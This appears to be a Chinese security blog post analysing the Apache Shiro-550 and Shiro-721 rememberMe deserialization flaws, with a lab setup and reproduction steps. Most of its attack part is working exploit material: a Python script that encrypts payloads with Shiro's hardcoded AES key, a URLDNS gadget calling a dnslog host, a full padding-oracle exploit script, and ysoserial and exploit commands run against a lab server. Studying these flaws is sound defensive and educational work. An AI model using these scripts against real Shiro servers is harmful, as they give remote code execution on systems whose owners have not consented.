Shiro550&721漏洞分析
环境搭建
Shiro一把梭哈工具分析
shiro反序列化工具验证是否为shiro框架的原理 通过wireshark发现是发如下的包,http请求包通过Cookie携带rememberMe=yes,然后看Responses包Set-Cookie是否有rememberMe=deleteMe字段判断是否为shiro框架
工具密钥爆破判断原理是,它会用密钥去加密一个值,然后Cookie带着去发包,如果response,SetCookie字段没有rememberMe=deleteMe字段,则表明密钥正确。如下图所示。


上述这个图是密钥枚举错误时候的情况。response包返回了rememberMe=deleteMe字段
Cookie中的rememberMe携带的值是反序列化的数据,这个是执行的命令的base64加密

base64解密就是回显的内容

在下面依赖下扫出来的链子有
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.govuln</groupId>
<artifactId>shirodemo</artifactId>
<version>1.0-SNAPSHOT</version>
<packaging>war</packaging>
<name>shirodemo Maven Webapp</name>
<url>http://www.example.com</url>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.source>1.7</maven.compiler.source>
<maven.compiler.target>1.7</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
<version>1.2.4</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.2</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-logging/commons-logging -->
<dependency>
<groupId>commons-logging</groupId>
<artifactId>commons-logging</artifactId>
<version>1.2</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>1.7.30</version>
</dependency>
</dependencies>
<build>
<finalName>shirodemo</finalName>
<pluginManagement><!-- lock down plugins versions to avoid using Maven defaults (may be moved to parent pom) -->
<plugins>
<plugin>
<artifactId>maven-clean-plugin</artifactId>
<version>3.1.0</version>
</plugin>
<!-- see http://maven.apache.org/ref/current/maven-core/default-bindings.html#Plugin_bindings_for_war_packaging -->
<plugin>
<artifactId>maven-resources-plugin</artifactId>
<version>3.0.2</version>
</plugin>
<plugin>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.0</version>
</plugin>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
<plugin>
<artifactId>maven-war-plugin</artifactId>
<version>3.2.2</version>
</plugin>
<plugin>
<artifactId>maven-install-plugin</artifactId>
<version>2.5.2</version>
</plugin>
<plugin>
<artifactId>maven-deploy-plugin</artifactId>
<version>2.8.2</version>
</plugin>
</plugins>
</pluginManagement>
</build>
</project>
[++] 发现构造链:CommonsCollectionsK1 回显方式: AllEcho
[++] 发现构造链:CommonsBeanutilsString_183 回显方式: AllEcho
[++] 发现构造链:CommonsBeanutils1_183 回显方式: AllEcho
[++] 发现构造链:CommonsBeanutilsAttrCompare_183 回显方式: TomcatEcho
550漏洞分析
尝试默认的账户密码root和secret登录,如果reponse的Set-Cookie返回rememberMe返回有deleteMe字段,还会有 rememberMe 字段,之后的所有请求中 Cookie 都会有 rememberMe 字段,那么就可以利用这个 rememberMe 进行反序列化,从而 getshell。

从源码的角度分析为何会产生反序列化漏洞

我们在这里就依次找漏洞的调用栈了,我们直接看AbstractRememberMeManager#convertBytesToPrincipals函数,首先进行decrypt解密,然后进行deserialize进行反序列化。我们主要看看加密和解密流程。我们可以看到跟踪这个decrypt函数

发现我们传入的内容是通过这个函数返回的key进行解密的

这个函数呢decryptionCipherKey是通过AbstractRememberMeManager函数来进行set加密密钥和解密密钥的,发现其实是相同key,并且硬编码在shiro的类AbstractRememberMeManager里面

所以我们知道解密过程,也知道加密函数,我们实现一下,把传入的恶意序列化数据加密一下就可以了。就可以实现反序列化攻击了
我们参考其他师傅写的python脚本实现加密和解密的流程:
# -*-* coding:utf-8
# @Time : 2022/7/13 17:36
# @Author : Drunkbaby
# @FileName: poc.py
# @Software: VSCode
# @Blog :https://drun1baby.github.io/
from email.mime import base
from pydoc import plain
import sys
import base64
from turtle import mode
import uuid
from random import Random
from Crypto.Cipher import AES
def get_file_data(filename):
with open(filename, 'rb') as f:
data = f.read()
return data
def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return ciphertext
def aes_dec(enc_data):
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA==" # kPH+bIxk5D2deZiIxcaaaA==
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
if __name__ == "__main__":
data = get_file_data("ser3.bin")
print(aes_enc(data))
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNSEXP {
public static void main(String[] args) throws Exception{
HashMap<URL,Integer> hashmap= new HashMap<URL,Integer>();
// 这里不要发起请求
URL url = new URL("http://9o3hi4.dnslog.cn");
Class c = url.getClass();
Field hashcodefile = c.getDeclaredField("hashCode");
hashcodefile.setAccessible(true);
hashcodefile.set(url,1234);
hashmap.put(url,1);
// 这里把 hashCode 改为 -1; 通过反射的技术改变已有对象的属性
hashcodefile.set(url,-1);
serialize(hashmap);
//unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

确实收到了dns请求
721漏洞分析
这个漏洞产生的原因还是因为反序列化的原因,在Apache Shiro 1.2.5、1.2.6、1.3.0、1.3.1、1.3.2、1.4.0-RC2、1.4.0、1.4.1版本里面密钥不是硬编码的。但是由于加密算法AES-CBC的涉及缺陷,如果我们获取到一串正确登录的Cookie值,我们可以通过正确的Cookie值来进行Padding Oracle Attack
- Padding正确,服务器正常响应
- Padding错误,服务器返回Set-Cookie: rememberMe=deleteMe
https://github.com/inspiringz/Shiro-721/blob/master/exp/shiro_exp.py
# -*- coding: utf-8 -*-
from paddingoracle import BadPaddingException, PaddingOracle
from base64 import b64encode, b64decode
from urllib import quote, unquote
import requests
import socket
import time
class PadBuster(PaddingOracle):
def __init__(self, **kwargs):
super(PadBuster, self).__init__(**kwargs)
self.session = requests.Session()
# self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'
self.wait = kwargs.get('wait', 2.0)
def oracle(self, data, **kwargs):
somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)
self.session.cookies['rememberMe'] = somecookie
if self.session.cookies.get('JSESSIONID'):
del self.session.cookies['JSESSIONID']
# logging.debug(self.session.cookies)
while 1:
try:
response = self.session.get(sys.argv[1],
stream=False, timeout=5, verify=False)
break
except (socket.error, requests.exceptions.RequestException):
logging.exception('Retrying request in %.2f seconds...',
self.wait)
time.sleep(self.wait)
continue
self.history.append(response)
# logging.debug(response.headers)
if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):
logging.debug('No padding exception raised on %r', somecookie)
return
# logging.debug("Padding exception")
raise BadPaddingException
if __name__ == '__main__':
import logging
import sys
if not sys.argv[3:]:
print 'Usage: %s <url> <somecookie value> <payload>' % (sys.argv[0], )
sys.exit(1)
logging.basicConfig(level=logging.DEBUG)
encrypted_cookie = b64decode(unquote(sys.argv[2]))
padbuster = PadBuster()
payload = open(sys.argv[3], 'rb').read()
enc = padbuster.encrypt(plaintext=payload, block_size=16)
# cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))
# print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))
print('rememberMe cookies:')
print(b64encode(enc))
漏洞复现过程:
java -jar ysoserial-all.jar CommonsBeanutils1 "touch /tmp/success" > poc.ser
python2 shiro721.py http://192.168.110.111:8080/login.jsp PsOeYX42xS/fLAjPTlkTdE8EW/QvCDdj/2UDDfGOxCNIUck+tMRjbYM7TIoNOP/FOXkEfOPoCCR/qfH2ci9W+8+aWWwvZUwO98+KN9dZoEGCCLyabFdtnO45lsaoV7AUNGe7CE4W3nM2R0saIrUDDr1pzWhsvPad4H0RicieJmYcHvUphnTGJRV+aNzbPoJ2FvEVCijODstaaATw4SkXLfE+47LiPCCj2hBZAJkSGikdwDZrQEasEN111rq0zdUn3VMBIdVmN2ouLffrXeUd++EjIK3PZPUaYFHt0sjmlMxTEfTgcn/VaHBdutVubR795DFzMCFKS7D7MYlYQeDUnkzB20JKm9xGrVusq/XDvvE8Y7IztBzNEm92wbSWf5WwsfXM6elL6shTg0zVxz+hubz5bIP+2hAblC3OxbbLkqjFOlOfYyX2cGgGEXrz9n6YIrvy4BJ01XQ0KVUgf6IjO8MPyIGkgB2I+7MNTVQP/ddzrqSuVbRgPIVFfC5WVAM2 poc.ser
中间的值是正确登录后的rememberMe的值,注意反序列化的时候要把JSESSIONID删除掉,反则不会进行反序列化操作
爆破的时间比较久
修复方式 更新到1.4.2版本之后即可
参考:
https://drun1baby.top/2022/07/10/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Shiro%E7%AF%8701-Shiro550%E6%B5%81%E7%A8%8B%E5%88%86%E6%9E%90/#URLDNS-%E9%93%BE
https://liaoxuefeng.com/books/java/oop/core/javabean/index.html